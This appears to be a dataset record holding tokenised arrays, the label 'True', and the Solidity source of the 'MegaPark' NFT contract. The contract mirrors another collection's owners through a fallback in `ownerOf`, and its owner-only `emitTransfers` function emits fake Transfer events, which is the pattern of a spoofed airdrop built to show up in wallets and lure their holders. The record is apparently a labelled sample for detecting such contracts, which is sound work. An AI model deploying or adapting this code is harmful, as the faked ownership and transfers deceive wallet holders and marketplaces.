1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
// SPDX-License-Identifier: MIT
/**
███▄ ▄███▓▓█████ ▄████ ▄▄▄ ██▓███ ▄▄▄ ██▀███ ██ ▄█▀
▓██▒▀█▀ ██▒▓█ ▀ ██▒ ▀█▒▒████▄ ▓██░ ██▒▒████▄ ▓██ ▒ ██▒ ██▄█▒
▓██ ▓██░▒███ ▒██░▄▄▄░▒██ ▀█▄ ▓██░ ██▓▒▒██ ▀█▄ ▓██ ░▄█ ▒▓███▄░
▒██ ▒██ ▒▓█ ▄ ░▓█ ██▓░██▄▄▄▄██ ▒██▄█▓▒ ▒░██▄▄▄▄██ ▒██▀▀█▄ ▓██ █▄
▒██▒ ░██▒░▒████▒░▒▓███▀▒ ▓█ ▓██▒▒██▒ ░ ░ ▓█ ▓██▒░██▓ ▒██▒▒██▒ █▄
░ ▒░ ░ ░░░ ▒░ ░ ░▒ ▒ ▒▒ ▓▒█░▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░▒ ▒▒ ▓▒
░ ░ ░ ░ ░ ░ ░ ░ ▒ ▒▒ ░░▒ ░ ▒ ▒▒ ░ ░▒ ░ ▒░░ ░▒ ▒░
░ ░ ░ ░ ░ ░ ░ ▒ ░░ ░ ▒ ░░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
*/
pragma solidity ^0.8.9;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function isContractOwner() public virtual returns (bool) {
return (_owner == _msgSender());
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract Target721 {
function ownerOf(uint256 tokenId) public view virtual returns (address);
}
/**
* @title Gutter Punks Flyer contract.
* @author The Gutter Punks team.
*
* @notice Airdrops a flyer to Invisible Friends holders.
*
*/
contract MegaPark is Context, ERC165, IERC721, IERC721Metadata, Ownable {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
mapping(uint256 => bool) private _tokenBifurcated;
string internal _baseTokenURI;
string internal _contractURI;
uint256 internal _totalSupply;
uint256 internal MAX_TOKEN_ID;
bool internal burnAirdrop = false;
Target721 _target = Target721(0xED5AF388653567Af2F388E6224dC7C4b3241C544);
constructor() {
_name = "Mega Park";
_symbol = "MP";
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function setTargetContract(address contractAddress) external onlyOwner {
_target = Target721(contractAddress);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
uint256 balance = 0;
for(uint256 i = 0;i <= MAX_TOKEN_ID;i++) {
if(_ownerOf(i) == owner) { balance++; }
}
return balance;
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _ownerOf(tokenId);
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function _ownerOf(uint256 tokenId) internal view virtual returns (address) {
address owner = _owners[tokenId];
if(owner == address(0) && !_tokenBifurcated[tokenId] && !burnAirdrop) {
try _target.ownerOf(tokenId) returns (address result) { owner = result; } catch { owner = address(0); }
}
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
address approved = _tokenApprovals[tokenId];
return approved;
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0) || _target.ownerOf(tokenId) != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal virtual {
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
require(owner == _msgSender(), "Must own token to burn.");
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
unchecked {
if(!_tokenBifurcated[tokenId]) { _tokenBifurcated[tokenId] = true; }
_totalSupply -= 1;
}
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
unchecked {
_owners[tokenId] = to;
}
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function setURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function setBurnAirdrop(bool setBurn) external onlyOwner {
burnAirdrop = setBurn;
}
function mintAirdrop(address[] calldata recipients) external onlyOwner {
uint256 startingSupply = _totalSupply;
// Update the total supply.
_totalSupply = startingSupply + recipients.length;
// Note: First token has ID #0.
for (uint256 i = 0; i < recipients.length; i++) {
_mint(recipients[i], startingSupply + i);
}
if((startingSupply + recipients.length - 1) > MAX_TOKEN_ID) { MAX_TOKEN_ID = (startingSupply + recipients.length - 1); }
}
function bifurcateToken(uint256 tokenId) external {
address owner = ownerOf(tokenId);
require(owner == _msgSender() || isContractOwner(), "Must own token to bifurcate.");
_tokenBifurcated[tokenId] = true;
unchecked {
_owners[tokenId] = owner;
}
}
function burn(uint256 tokenId) external {
_burn(tokenId);
}
function emitTransfers(uint256[] calldata tokenId, address[] calldata from, address[] calldata to) external onlyOwner {
require(tokenId.length == from.length && from.length == to.length, "Arrays do not match.");
for(uint256 i = 0;i < tokenId.length;i++) {
if(_owners[tokenId[i]] == address(0)) {
emit Transfer(from[i], to[i], tokenId[i]);
}
}
}
function contractURI() external view returns (string memory) {
return _contractURI;
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
return _baseTokenURI;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5840,
1011,
2321,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1023,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
16048,
2629,
5403,
9102,
1065,
1007,
1012,
1008,
1008,
2005,
2019,
7375,
1010,
2156,
1063,
9413,
2278,
16048,
2629,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
2023,
3206,
22164,
1996,
8278,
4225,
2011,
1008,
1036,
8278,
3593,
1036,
1012,
2156,
1996,
7978,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1001,
2129,
1011,
19706,
1011,
2024,
1011,
4453,
1031,
1041,
11514,
2930,
1033,
1008,
2000,
4553,
2062,
2055,
2129,
2122,
8909,
2015,
2024,
2580,
1012,
1008,
1008,
2023,
3853,
2655,
2442,
2224,
2625,
2084,
2382,
2199,
3806,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
